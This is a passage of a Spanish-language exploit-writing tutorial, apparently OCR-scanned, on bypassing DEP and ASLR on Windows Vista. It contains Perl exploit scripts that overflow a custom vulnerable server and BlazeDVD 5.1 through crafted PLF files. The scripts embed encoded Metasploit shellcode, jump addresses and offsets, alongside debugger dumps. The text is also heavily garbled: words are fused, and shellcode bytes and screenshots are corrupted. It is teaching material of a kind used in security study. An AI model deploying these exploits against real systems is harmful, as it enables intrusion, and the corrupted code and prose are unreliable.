" \x44\x33\x46\x52\x51\x4f\x46\x34\x4b\x4f\x48\x50\x4
"\x48\x4b\x4a\x4d\x4b\x4c\x47\x4b\x46\x30\x4b\x4f\x4
"\x51\x4f\x4c\x49\x4d\x35\x43\x56\x4b\x31\x4a\x4d\x4
"\x44\x42\x46\x35\x43\x5a\x43\x32\x4b\x4f\x4e\x30\x4
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"\x48\x59\x45\x59\x4a\x55\x4e\x4d\x51\x4 7\x4b\x4f\x4
"\x51\x43\x50\x53\x50\x53\x46\x33\x46\x33\x51\x53\x5
"\x47\x33\x46\x33\x4b\x4f\x4e\x30\x42\x46\x42\x48\x4
" \x4e\x53\x45\x36\x50\x53\x4b\x39\x4b\x51\x4c\x55\x4
"\x4e\x44\x45\x4a\x44\x30\x49\x57\x46\x37\x4b\x4f\x4
"\x42\x4a\x44\x50\x50\x51\x50\x55\x4b\x4f\x48\x50\x4
"\x49\x34\x4e\x4d\x46\x4e\x4a\x49\x50\x57\x4b\x4f\x4
"\x46\x33\x50\x55\x4b\x4f\x4e\x30\x42\x48\x4d\x35\x5
"\x4c\x46\x51\x59\x51\x4 7\x4b\x4f\x49\x46\x46\x30\x5
"\x46\x34\x50\x55\x4b\x4f\x48\x50\x4a\x33\x43\x58\x4
"\x43\x49\x48\x46\x44\x39\x51\x4 7\x4b\x4f\x4e\x36\x4
"\x4b\x4f\x48\x50\x43\x56\x43\x5a\x45\x34\x42\x46\x4
"\x43\x53\x42\x4d\x4b\x39\x4a\x45\x42\x4a\x50\x50\x5
"\x47\x59\x48\x4c\x4b\x39\x4d\x37\x42\x4a\x47\x34\x4
"\x4b\x52\x46\x51\x49\x50\x4b\x43\x4e\x4a\x4b\x4e\x4
"\x46\x4d\x4b\x4e\x50\x42\x46\x4c\x4d\x43\x4c\x4d\x4
" \x46\x58\x4e\x4b\x4e\x4b\x4e\x4b\x43\x58\x43\x42\x4
" \x48\x33\x42\x36\x4b\x4f\x4 3\x45\x51\x54\x4b\x4f\x4
"\x51\x4b\x46\x37\x50\x52\x50\x51\x50\x51\x50\x51\x4
"\x45\x51\x46\x31\x50\x51\x51\x45\x50\x51\x4b\x4f\x4
"\x43\x58\x4e\x4d\x49\x49\x44\x45\x48\x4e\x46\x33\x4
" \x48\x56\x43\x5a\x4b\x4f\x4b\x4f\x50\x37\x4b\x4f\x4
"\x4c\x4b\x51\x4 7\x4b\x4c\x4b\x33\x49\x54\x42\x44\x4
"\x48\x56\x51\x42\x4b\x4f\x48\x50\x4 3\x58\x4a\x50\x4
"\x43\x34\x51\x4f\x50\x53\x4 b\x4f\x4e\x36\x4b\x4f\x4
"\x41\x41 *;

$nops2 =" \x90 " x 480;
$jumpback =" \xe9\x54\xfO\xf\xff ", #jump back 1708 bytes

# initialize host and port
$host = || 'localhost’;
$port = [| 200;
$proto = (‘tcpY);
# get the port address
$iaddr = inet_aton($host);
$paddr = sockaddr_in($port, $iaddr);
" [+] Setting up socket\n ;
# create the ) to the port
(SOCKET, PF_INET, SOCK_STREAM, $proto) or socket: $!
" [+] Connecting to $host on port $port\n ;
(SOCKET, $paddr) or " connect: $! "
" [+] Sending payload\n i
$payload =
$junk.$disabledep.$nopsl.$shellcode.$nops2.$jumpbac k" \n";
SOCKET $payload." \n";
" [+] Payload sent, "
SOCKET or " close: $!
(‘telnet ".$host.' 5555");

($payload)." bytes\n ";
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Evitar DEP con Exploits de SEH

En los 2 ejemplos anteriores, los dos exploitaétnica para evitar DEP)
se basaron sobrescritura directa de RET. Peroglesploit es de SEH?

En condiciones normales de exploits de SEH, un goanta las
instrucciones POP POP RET se usa para redirecciargjecucion en el
campo nSEH, donde se coloca jumpcode (y posteridames ejecutado).
Cuando DEP esta habilitado, es obvio que aun rtasesobrescribir la
estructura de SE, pero en lugar de sobrescrilsomtolador de SE con un
puntero al POP POP RET, que hay que sobrescribiunguntero al POP
REG/POP Reg/POP ESP/RET. El POP ESP cambiaréaly gl RET de
hecho, saltard a la direccion de nSEH. (Lo queugarl de ejecutar el
jumpcode en un exploit de SEH clasico, que ller@mgipo de nSEH con la
primera direccion de la rutina de derivacion NX$eypuede sobreescribir el
controlador de SE con un puntero a POP/POP/POP REIP/
Combinaciones como ésta son dificiles de enconprafindaddr tiene
una rutina que te ayudara a encontrar las direeside este tipo.

Proteccion ASLR

Windows Vista, Server 2008 y Windows 7 ofrecen wevwa técnica de
seguridad integrada (no nueva, pero nueva parassngm operativo
Windows), que cambia aleatoriamente las direccialgebase de archivos
ejecutables, DLL’s, la pila y el Heap en el espalgodirecciones de un
proceso (de hecho, cargard las imagenes del sistenta de cada 256
intervalos aleatorios, randomizara la pila paraac#read, y el Heap
también). Esta técnica se conoce como ASLR (Add&sace Layout
Randomization) o Aleatorizacion de Espacio de Rim@tes.

Las direcciones cambian en cada arranque. ASLRaestéado por defecto
para las imagenes del sistema (excepto Interneloiexp7), y para las
imagenes ajenas al sistema si fueron relacionamatampcion de vinculo
IDYNAMICBASE (disponible en Visual Studio 2005 Skefh adelante, y
disponible en VS2008). Puedes cambiar manualmeri¢ BynamicBase

en una biblioteca compilada para que tenga ASLRh (po0x40 la

DliCharacteristics en la cabecera PE - puedeszattiluna herramienta
como PE Explorer para abrir la biblioteca y ver este campo
DliCharacteristics contiene 0x40 con el fin de datear si tiene ASLR o
no).
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Hay un truco del registro para habilitar ASLR p#odas las imagenes y
aplicaciones:

Edita HKLM\SYSTEM\CurrentControlSet\Control\Session Maggdlemory Management\
y agrega una nueva clave llamada “Movelmages” (D\WPR

Valores posibles:

0: no randomiza las bases de imagenes en la mems@mapre honra la
direccion base especificada en la cabecera de PE.

-1: randomiza todas las imagenes reubicables, emtBpntemente de si
tienen o no la bandera o flag:

IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE.

Cualquier otro valor: randomiza sélo las imagenss tienen informacion
de la relocalizacion y estan explicitamente marsadeno compatible con
ASLR estableciendo:

IMAGE_DLL_CHARACTERISTICS _DYNAMIC_BASE a 0x40 eel
campo de DlICharacteristics de la cabecera PE.dss&d comportamiento
predeterminado.

Con el fin de ser eficaz, ASLR debe ir acompanadDiP (y viceversa).

A causa de ASLR, aungue se puede construir un iexgndVindows Vista

(desbordamiento de la pila de sobrescritura dirdetdRET o exploit de
SEH), utilizando una direccion de una de las DLLhay una gran

posibilidad de que el exploit sélo funcione hasia ge reinicia el equipo.
Después del reinicio, se aplica la aleatorizacyosi) direccion de salto no
sera valida.

Hay un par de técnicas para para evitar ASLR. Vdysautir las técnicas
gue utilizan sobrescritura parcial o direcciones ndédulos sin ASLR
habilitado. Yo no voy a discutir las técnicas qu#izan el Heap como
vehiculo para evitar, o que tratar de predecirléatarizacion, o utilizar
técnicas de fuerza bruta.
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Esta técnica fue utilizada en el famosa exploitlalesulnerabilidad en
Animated Cursor Handling (MS Advisory 935423) desa&zo de 2007,
descubierto por Alex Sotirov. Los siguientes erdaegplican como este
bug se encontro y fue explotado:

http://archive.codebreakers-journal.com/contemW284/27/—ani-
notes.pdf

http://www.phreedom.org/research/vulnerabilitiestaeader/

http://blog.metasploit.com/2007/04/exploiting-anikverability-on-
vista.html

Este exploit en particular se cree que es el pramptoit que evita ASLR
en Windows Vista (y, al mismo tiempo rompe los nmem@os de
proteccion, también evita /GS. Bueno, en realigadgue los datos de la
cabecera de ANI se lee en una estructura, no haigana cookie de pila).
©

La idea detras de esta técnica es bastante imttdigASLR randomizara
s6lo una parte de la direccién. Si nos fijamosasndirecciones de base de
los médulos cargados después de reiniciar Vistalatds cuenta de que
sélo los bytes de orden superior de una direcaddnateatorios. Cuando
una direccion se guarda en la memoria, tomemosjpoplo 0x12345678,
se almacena de esta manera:

LOW HIGH |BAJO ALTO
87654321 |8765 4321

Cuando ASLR esta habilitada, solo "43" y "21" serddeatorizados. Bajo
ciertas circunstancias, esto podria permitir aackér explotar o activar la
ejecucion de codigo arbitrario.

Imagina que estas explotando un fallo que te persobrescribir el EIP
guardado. El EIP original guardado se coloca epile por el sistema
operativo. Si ASLR esta activada, la direccion ectia de la ASLR
aleatorizada sera colocada en la pila. Digamos ejuelP guardado es
0x12345678donde 02234es la parte aleatorizada de la direcci6f678
apunta al EIP real guardado). ¢Y si pudiéramosrerar algun cédigo
interesante (como JMP ESP, o algo mas util) ersgh@o de direcciones
del 0xX1234XXXX (donde 1234 es al azar. Pero bueno, el sistema
operativo ya ha puesto los bytes en la pila)?
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Sélo tenemos que encontrar el codigo de interéd é@mbito de los bytes
bajos y sustituir estos bytes bajos con los bymsespondientes que
apuntan a la direccion de nuestro cédigo interesant

Veamos el siguiente ejemplootepad.exeabierto en un depurador (Vista
Business, Service Pack 2, Inglés) y mira en lacdiém base de los
mdbdulos cargados:

Executable modules

File wersion

T . Tl
ntdll E 4] . ntdll.
ErNE E .

| ke

Reinicia tu PC y haz la misma accién de nuevo:

Executable modules

S B I Bt B B B B B M M M D e D s s s R s

=

a
5}
5]
5}
A
=}
a
a
a
a
5}
5]
5}
A
=}
a
a
a
5}

Los 2 bytes altos de estas direcciones base satoradess. Asi que cada vez
que quieras utilizar una direccion de estos médylos cualquier razon

(JMP a un registro, o RET, POP, POP o cualquier odsa), no se puede
simplemente confiar en la direccion que se encaegnr estos modulos,
porque va a cambiar después de reiniciar el sistema

Ahora haz lo mismo con la aplicacidulnsrv.exe (hemos usado esta
aplicacion 2 veces ya en este tutorial, por lo ghera ya sabes de que
aplicacion estoy hablando).
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Después de reiniciar la PC:

Executable modules

| o = |t I'_i.LE‘ WETE Lon

AF ul
16,401
MES

Asi que incluso la direccion base de nuestra apficapersonalizada
cambio. (Debido a que fue compilado en VC + + 2@@®, tiene la bandera
/DynamicBase del vinculador configurado por defecto

vulnsry Property Pages 2z
Configuration: |.ﬁ.ctive{ReIease) ﬂ PlatFarm: |.ﬁ.ctive{Win32) ﬂ Configuration Manager. .. |
=1 Common Properties All options:
Framework and References fouT:"CDocumnents and SettingsipeteriMy DocurmentsiVisual Studio J
-] Configuration Properties 2008\ProjectsivulnsryiReleaselvulnsty . exe” [INCREMENTAL: MO [NOLOGO MANIFEST
cenetal [MAMIFESTFILE: "Releaselvulnsty exe.intermediate, manifest" [MAMIFESTUALC: "level="asInwoker’
Debuagin uigiccess="false™ /DEBUG fPDE: "c:\Documents and SettingsipeteriMy Documentsivisual Studio
9ang , ' Insr+iReleaselvuinsry pdb” (SUBSYSTEM: CONSOLE JOPT:REF JOPT:ICF JLTCGE
- G+ [DYMAMICEASE JNACOMPAT [MACHIME: %36 [ERRORREPORT:PROMPT kernel32. lib user3z.lib gdizz.lib
—- Linket [winspool. it comdlg32.lib advapiz.lib shellzz.lib ale32.lib oleaut32 lib uuid.lib odbe3z, lib odbocp32. lib
General
Inpuk
Manifest File
Debugging
Swskem
Opkimization
Embedded IDL
Advanced
Comrmand Line
LN U T, S | ']
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El pycommand !ASLRdynamicbase en el Immunity Dbgstrara aviso de
ASLR del ejecutable binario o médulos cargado:

ASLR /dynamichase Table

I!ASLdenamichas&

Mrnel

Compila esta aplicacion sin GS y ejecutalo en Wivel¥/ista (sin HW

DEP/NX). Ya sabemos que, después de enviar 50% layta aplicacion,
podemos sobreescribir el EIP guardado. El uso dgeparador (poniendo
un breakpoint en la funcion de llamada pr(), naemmos de que el EIP
guardado contiene algo asi como 0x011el1293 antesquie sea

sobreescrito. (Donde 0x011e es aleatorio, perbitesdhajos "1293" deben
ser los mismos después de cada reinicio del PC.

CPU - main thread,
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Entonces cuando se utiliza el codigo del explguiginte:

strict;
Socket;
$junk =" A" x 508;
$eipoverwrite =" BBBB;
# initialize host and port
$host = || 'localhost’;
$port = [| 200;
$proto = (‘tcpY);
# get the port address
$iaddr = inet_aton($host);
$paddr = sockaddr_in($port, $iaddr);
" [+] Setting up socket\n "
# create the ) to the port
(SOCKET, PF_INET, SOCK_STREAM, $proto) or " socket: $!
" [+] Connecting to $host on port $port\n ;
(SOCKET, $paddr) or " connect: $! "
" [+] Sending payload\n "
SOCKET $junk.$eipoverwrite." \n ";

" [+] Payload sent\n ;
SOCKET or " close: $!

Los registros y la pila se parecen a esto despeésjug@ EIP se ha
sobrescrito:

(f90.928): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exc eption handling.

This exception may be expected and handled.

eax=0018e23a ebx=00000000 ecx=0018e032 edx=0018e200 esi=00000001 edi=011e3388
eip=42424242 esp=0018e030 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000 (0] efl=00010246
42424242 ?7? ?2??

0:000> d ecx

0018e032 18 00 00 00 00 00 41 41-41 4141414141 41 41 JAVAVAVAVAVAVAVAVAVAN
0018e042 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0018e052 4141414141414141-414141414141 P2 5 R AVAV AVAVAVAVAVAVAVAVAVAVAVAVAVAN
0018e062 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0018e072 41 41414141414141-414141414141 P2 5 R AVAV AVAVAVAVAVAVAVAVAVAVAVAVAVAN
0018e082 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0018e092 41 41414141414141-414141414141 P2 5 R AVAV AVAVAVAVAVAVAVAVAVAVAVAVAVAN
0018e0a2 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA

0:000> d edx

0018e200 41 41 41 41 41 41 41 41-41 4141414141 Wi X YAV AVAVAVAVAVAVAVAVAVAVAVAVAVAV:N
0018e210 4141 414141414141-414141414141 i34 2 3 AV AVAVAVAVAVAVAVAVAVAVAVAVAVAV:
0018e220 41 41 41 41 41 41 41 41-41 41 41 41 41 41 Wi X YAV AV VAVAVAVAVAVAVAVAVAVAVAVAV:Y
0018e230 41 41 41 41 42 42 42 42-0a 00 00 00 00 00 00 00 AAAABBBB

0018e240 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00

0018e250 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00

0018e260 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00

0018e270 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00

0:000> d esp

0018e030 0a 00 18 00 00 00 00 00-41 41 41414141 41 41 AVAVAVAVAVAVAVAN
0018e040 414141414141 4141-41 4141414141 C 5 R AV-VAVAVAVAVAVAVAVEVAV.VAVAVAVAN
0018e050 41 41414141414141-414141414141 P I R AVAVAVAVAVAVAVAVAVAVAVAVAVAVAVAN
0018e060 41 41414141414141-414141414141 P I R AVAVAVAVAVAVAVAVAVAVAVAVAVAVAVAN
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0018e070 4141414141414141-414141414141 41 41 AAAAAAAAAAAAAAAA
0018e080 4141414141414141-414141414141 41 41 AAAAAAAAAAAAAAAA

0018e090 4141414141414141-414141414141 41 41 AAAAAAAAAAAAAAAA
0018e0a0 4141414141414141-414141414141 41 41 AAAAAAAAAAAAAAAA

Normalmente, cuando lleguemos a esto, es probaldebgsquemos una
instruccion de JMP EDX y sobrescribamos EIP codilaccion del JMP
EDX. (Y luego usar algun jumpcode hacia atras fagar al inicio de la
shellcode), o empujar EBP/RET. Pero sabemos que podemos
sobreescribir EIP debido a la ASLR. La Unica casa gpdriamos hacer es
tratar de encontrar algo que le haga un JMP EDXnpuge EBP/RET
dentro del rango de direcciones de 0x011eXXXX gueleEIP guardado
antes de que el BOF se produzca), y solo sobreslagh2 bytes bajos del
EIP guardado en lugar de sobrescribir el EIP gulrgeor completo. En
este ejemplo, no existe tal instruccion.

Hay un segundo problema con este ejemplo. Inclugnasinstruccion util,
como la que existe, notards que sobrescribir ldgt8s bajos no iba a
funcionar porque cuando se sobrescriben los 2 Ipdps, una cadena de
terminacion (00 - bytes nulos) se afiade, reemptizEnmitad de los bytes
altos y asi que, el exploit sélo funcionara si @mseencontrar una direccion
que haga el JMP EDX en el espacio de direccion831@00XX. Y eso
nos limita a un maximo de 255 direcciones en ejodix011e:

011E1000 /$ 55 EBP

011E1001 |. 8BEC MOV EBP,ESP

011E1003 |. 81EC 08020000 SUB ESP,208

011E1009 |. AO 1421CD00 MOV AL,BYTE PTR DS:[CD2 114]
011E100E |. 8885 08FEFFFF MOV BYTE PTR SS:[EBP-1F 8],AL
011E1014 |. 68 F3010000 1F3 iIn=

1F3 (499.)

011E1019 |. 6A 00 0 ;¢ = 00
011E101B |. 8D8D 09FEFFFF LEA ECX,DWORD PTR SS:[E BP-1F7] |
011E1021 |. 51 ECX s
011E1022 |. E8 C30A0000 CALL <JMP.&MSVCR90.mems et> : \memset
011E1027 |.83C40C  ADD ESP,0C

011E102A |.8B5508 MOV EDX,DWORD PTR SS:[E BP+8]
011E102D |. 8995 04FEFFFF MOV DWORD PTR SS:[EBP-1 FC],EDX
011E1033 |. 8D85 08FEFFFF LEA EAX,DWORD PTR SS:[E BP-1F8]
011E1039 |. 8985 00FEFFFF MOV DWORD PTR SS:[EBP-2 00],EAX
011E103F |. 8B8D OOFEFFFF MOV ECX,DWORD PTR SS:[E BP-200]
011E1045 |. 898D FCFDFFFF MOV DWORD PTR SS:[EBP-2 04],ECX
011E104B |> 8B95 04FEFFFF /MOV EDX,DWORD PTR SS:[ EBP-1FC]
011E1051 |. 8A02 IMOV AL,BYTE PTR DS:[ED X]
011E1053 |. 8885 FBFDFFFF |[MOV BYTE PTR SS:[EBP-2 05],AL
011E1059 |. 8B8D 00FEFFFF |MOV ECX,DWORD PTR SSi[ EBP-200]
011E105F |. 8A95 FBFDFFFF |MOV DL,BYTE PTR SS:[EB P-205]
011E1065 |. 8811 [MOV BYTE PTR DS:[ECX], DL
011E1067 |. 8B85 04FEFFFF |[MOV EAX,DWORD PTR SSi[ EBP-1FC]
011E106D |.83C001  |ADD EAX,1

011E1070 |. 8985 04FEFFFF |MOV DWORD PTR SS:[EBP- 1FC],EAX
011E1076 |. 8B8D 00FEFFFF |MOV ECX,DWORD PTR SSi[ EBP-200]
011E107C |.83C101  |ADD ECX,1
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011E107F |. 898D OOFEFFFF |[MOV DWORD PTR SS:[EBP- 200],ECX
011E1085 |. 80BD FBFDFFFF >|CMP BYTE PTR SS:[EBP-2 05],0
011E108C |.A75 BD \IJNZ SHORT vulnsrv.011E 104B
011E108E |. 8BE5S MOV ESP,EBP

011E1090 |. 5D EBP

011E1091 \. RETN

011E1092 INT3

011E1093 INT3

011E1094 INT3

011E1095 INT3

011E1096 INT3

011E1097 INT3

011E1098 INT3

011E1099 INT3

011E109A INT3

011E109B INT3

011E109C INT3

011E109D INT3

011E109E INT3

011E109F INT3

011E10AO0 /$ 55 EBP

011E10A1 |. 8BEC MOV EBP,ESP

011E10A3 |. 8B45 08 MOV EAX,DWORD PTR SS:[E

011E10A6 |[.50 EAX

011E10A7 |. 68 1821CD00 vulnsrv.011E2118

=" Error %s "

011E10AC |. FF15 A020CD00 CALL DWORD PTR DS:[<&MS
011E10B2 |. 83C4 08 ADD ESP,8

011E10B5 |. E8 FA090000 CALL <JMP.&WSOCK32.#116
[WSACleanup

011E10BA |. 5D EBP

011E10BB \. C3 RETN

011E10BC CC INT3

011E10BD CC INT3

011E10BE CC INT3

011E10BF CC INT3

011E10CO /$ 55 EBP

011E10C1 |. 8BEC MOV EBP,ESP

011E10C3 |. B8 141D0000 MOV EAX,1D14

011E10C8 |. E8 230A0000 CALL vulnsrv.011E1AFO

011E10CD |. A0 1521CD00 MOV AL,BYTE PTR DS:[CD2 115]
011E10D2 |. 8885 FOE2FFFF MOV BYTE PTR SS:[EBP-1D 10],AL
011E10D8 |. 68 87130000 1387 iIn=
1387 (4999.)

011E10DD |. 6A 00 0] ; |lc =00
011E10DF |. 8D8D F1E2FFFF LEA ECX,DWORD PTR SS:[E BP-1DOF] |
011E10ES5 |. 51 ECX i s
011E10E6 |. E8 FF090000 CALL <JMP.&MSVCR90.mems et> ; \memset
011E10EB |. 83C4 0C ADD ESP,0C

011E10EE |. 8A15 1621CD00 MOV DL,BYTE PTR DS:[CD2 116]
011E10F4 |. 8895 78F6FFFF MOV BYTE PTR SS:[EBP-98

011E10FA |. 68 CF070000 7CF

7CF (1999.)

011E10FF |. 6A 00 0]
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Evitar ASLR: usando una direccidén de un
modulo habilitado sin ASLR

Una segunda técnica que puede utilizarse para &®BR es encontrar un
mdodulo que no randomice direcciones. Esta técri@g® similar a uno de
los métodos para evitar SafeSEH: utiliza una diéecde un médulo que
no tenga SafeSEH (0o ASLR en este caso) habilithdosé, algunas
personas pueden argumentar que esto no es realtewtar’ la
restriccién. Pero bueno, funciona y permite la troigsién de exploits
estables.

En algunos casos (de hecho, en muchos casosgcetalple binario (y en
ocasiones, algunos de los modulos cargados) ne ASLR habilitado.

Eso significa que podrias utilizar las direcciorespunteros de esos
binarios y moédulos con el fin de saltar a la Slele porque esas
direcciones no seran aleatorias. En el caso dealribingjecutable: la
direccién base para estos binarios suele comemzauic byte nulo. Asi
gue eso significa que incluso si puedes encontrardireccion que salte a
tu Shellcode tendras que lidiar con el byte nulstoEpuede o no ser un
problema, dependiendo del disefio de la pila y lostemidos de los
registros cuando se produce el BOF.

Vamos a echar un vistazo a una vulnerabilidad qee descubierta en
agosto de 200ttp://www.milwOrm.com/exploits/9329

Este exploit demuestra una vulnerabilidad de BOFB&rzeDVD 5.1
Professiona] provocada al abrir un archivo malicioso PLF. La
vulnerabilidad puede ser explotada mediante la esobitura de la
estructura de SEH.

Puedes descargar una copia local de esta aplicadiderable aqui:

https://www.corelan.be/?dl id=40

Ahora vamos a ver si podemos construir un exploitfiable para Vista
para esta vulnerabilidad en particular.

Comienza por determinar hasta qué punto tenemogsgrir con el fin
de golpear la estructura de SE. Después de haperaa pruebas sencillas,
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nos encontramos con que necesitamos un offset &e b§es para
sobrescribir SEH:

$sploitfile=" blazesploit.plf
" [+] Preparing payload\n
$junk =" A" x 608;
$junk = $junk." BBBBCCCG
$payload =$junk
" [+] Writing exploit file $sploitfile\n
($FILE," >$sploitfile ");
$FILE $payload,;
($FILE);
S £ ($payload)." bytes written to file\n

8 FFFFFFFF]
G Vit BiFFFFFFFF)
BE1ZFEEC| 4343 : S { FFFFFFFEF%
g FFFOEQREL 43EE 1

(LT

Ok, parece que tenemos 2 formas de explotar éataey a través de
sobrescritura directa de RET (EIP = 41414141) orpedio de SEH (la
cadena de SEH: SE Handler = 43434343 (el proximid SE2424242)).

ESP apunta a nuestro buffer.

('ASLRdynamicbase) Al mirar la tabla de estado vsade ASLR, vemos
lo siguiente:
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5]

yration.dlL

iVaya! Parece muchos de los médulos que no tieritRA Eso significa
que debemos ser capaces de utilizar las direccid@des moédulos para
hacer nuestros saltos. Desafortunadamente, laasadéidesa secuencia de
comandos ASLRdynamicbase no es fiable. Toma notasdmddulos sin
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ASLR vy reinicia el sistema. Ejecuta el comando devie y compara la
lista nueva con la lista anterior. Eso te dara omgor idea sobre los
modulos que se pueden utilizar. En este escerargye era una lista de
23 ahora es una lista de 7 (que todavia no emdém ¢ no es asi):
BlazeDVD.exe (0x00400000), skinscrollbar.dll (0x@0000),

configuration.dll (0x60300000), epg.dll (0x61600p0Mediaplayerctrl.dll
(0x64000000) , netreg.dll (0x64100000) , versiomidif (0x67000000).

Evitar ASLR usando Sobrescritura Directa de RET
En el caso de una sobrescritura directa de REresoribimos EIP
después de que el offset 260, y un JMP ESP (o CBEBP o PUSH
ESP/RET) haria el truco.

Las direcciones posibles de salto pueden ser:

* blazedvd.exe : 79 direcciones (jpero con bytdesiu
* skinscrollbar.dll : O direcciones

* configuration.dll : 2 direcciones, sin bytes nsilo

* epg.dll : 20 direcciones, sin bytes nulos.

* mediaplayerctrl.dll : 15 direcciones, 8 con bytesos.
* netreg.dll : 3 direcciones, sin bytes nulos.

* versioninfo.dll ;: O direcciones.

EIP es sobrescrito después de 260 caracteres) poel una exploit fiable
y funcional se veria asi:

$sploitfile=" blazesploit.plf
" [+] Preparing payload\n
$junk =" A" x 260;
$ret = ('V',0x6033b533); #jmp esp from configuration.dll
$nops =" \x90 " x 30;

# windows/ - 302 bytes
# http: ~ //www.metasploit.com
# Encoder: x86/alpha_upper

# EXITFUNC=seh, CMD=calc
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$shellcode=" \x89\xe3\xdb\xc2\xd9\x73\xf4\x59\x49\x49\x49\x49\x4

"\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x5
"\x34\x41\x50\x30\x41\x33\x48\x48\x30\x4 1\x30\x30\x4
"\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x4
"\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4
"\x51\x54\x43\x30\x45\x50\x45\x50\x4 c\x4b\x4 7\x35\x4
" \x4c\x4b\x43\x4c\x43\x35\x44\x38\x43\x31\x4a\x4f\x4
"\x50\x41\x44\x58\x4c\x4b\x51\x4f\x47\x50\x45\x51\x4
"\x50\x49\x4c\x4b\x46\x54\x4c\x4b\x45\x51\x4a\x4e\x5
"\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x44\x34\x4
"\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4
"\x47\x4b\x50\x54\x4 7\x54\x45\x54\x4 3\x45\x4a\x45\x4
"\x51\x4f\x46\x44\x45\x51\x4a\x4b\x45\x36\x4c\x4b\x4
"\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b\x4
"\x45\x4c\x4c\x4b\x43\x31\x4a\x4b\x4d\x59\x51\x4c\x4
"\x43\x34\x49\x53\x51\x4f\x46\x51\x4b\x46\x4 3\x50\x4
" \x45\x34\x4c\x4b\x50\x46\x50\x30\x4c\x4b\x51\x50\x4
"\x4c\x4b\x42\x50\x45\x4c\x4e\x4d\x4c\x4b\x42\x48\x4
" \x4b\x39\x4a\x58\x4d\x53\x49\x50\x4 3\x5a\x50\x50\x4
" \x4c\x30\x4d\x5a\x45\x54\x51\x4f\x42\x48\x4d\x48\x4
"\x4d\x5a\x44\x4e\x50\x57\x4b\x4f\x4b\x57\x43\x53\x4
" \x42\x4c\x43\x53\x43\x30\x41\x41 "
$payload =$junk.$ret.$nops.$shellcode;

" [+] Writing exploit file $sploitfile\n

(SFILE,"  >$sploitfile ");

$FILE $payload,;

($FILE);

B ) ($payload)." bytes written to file\n

Edt Vs el
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Reinicia tu PC, intenta de nuevo y aun deberiaifunac:
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Evitar ASLR: usando Exploits de SEH

En el caso de exploit basado en SEH, la técnidadés la misma. Buscar
los médulos que no estan protegidos con ASLR, drenonna direccion
que haga lo tu quieras, y explotarla. Vamos a seipquae tenemos que
evitar SafeSEH también, por diversion .

Los mddulos sin SAFESEH: (pvefindaddr nosafeseh!)

#*
#*
#*
#*
#*
#*
#*
#*
#*
*
#*
#*
#*
#*
#*
#*
#*
#*
#*
*
#*
#*
#*
#*
#*
#*
#*
#*
#*
*

Los modulos sin SAFESEH y sin ASLR: (pvefindaddsaiesehasir!)
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Il [ ### Mo ASLR, N
= [ o ASLR

K
A,
&,
&,
8,
5]
5]
A,
A,
&,
&,
5]
5]
5]
A,
A,
&,
8,
5]
5]
5]
5]

HEADFEED

Ipvefindaddr nosafesehaslir

Si podemos encontrar una direccion utilizable ea da estos médulos,
hay que ser buenos en eso. Una vez mas, el rasultasera confiable, por
lo que es necesario reiniciar y comparar los radaft con el fin de estar
seguro. Los moédulos que no estan protegidos corRA8ISafeSEH son:

* skinscrollbar.dll (0x10000000)

* configuration.dll (0x60300000)

* epg.dll (0x61600000)

* mediaplayerctrl.dll (0x64000000)

* netreg.dll (0x64100000)

* versioninfo.dll (0x67000000)

Asi que un POP POP RET, de cualquiera de estos losdu

(o, alternativamente, un JMP/CALL dword [Reg + nfuncionaria
también).
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Ipvefindaddr p esi skinscrollbar.dll
Found 38 addrezz(es] [Check the Log *Windows for detailz]

Exploit funcional (estructura SE alcanzada desplee608 bytes, con POP
POP RET de skinscrollbar.dll):

$sploitfile=" blazesploit.plf
" [+] Preparing payload\n
$junk =" A" x 608;
$nseh ="  \xeb\x18\x90\x90 "
$seh = ('V',0x100101e7); #p esi/p ecx/ret from
skinscrollbar.dll
$nop =" \x90 " x 30;
# windows/ - 302 bytes
# http: ~ //www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, CMD=calc

$shellcode="  \x89\xe3\xdb\xc2\xd9\x73\xf4\x59\x49\x49\x49\x49\x4 9\x43 "

"\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x5
"\x34\x41\x50\x30\x41\x33\x48\x48\x30\x4 1\x30\x30\x4
"\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x4
" \x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4
" \x51\x54\x43\x30\x45\x50\x45\x50\x4c\x4b\x47\x35\x4
" \x4c\x4b\x43\x4c\x43\x35\x44\x38\x43\x31\x4a\x4f\x4

" \x50\x41\x44\x58\x4c\x4b\x51\x4f\x4 7\x50\x45\x51\x4

"\x50\x49\x4c\x4b\x46\x54\x4c\x4b\x45\x51\x4a\x4e\x5
" \x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x44\x34\x4
"\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4
"\x47\x4b\x50\x54\x4 7\x54\x45\x54\x4 3\x45\x4a\x45\x4
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"\x51\x4f\x46\x44\x45\x51\x4a\x4b\x45\x36\x4c\x4b\x4
"\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b\x4
"\x45\x4c\x4c\x4b\x43\x31\x4a\x4b\x4d\x59\x51\x4c\x4
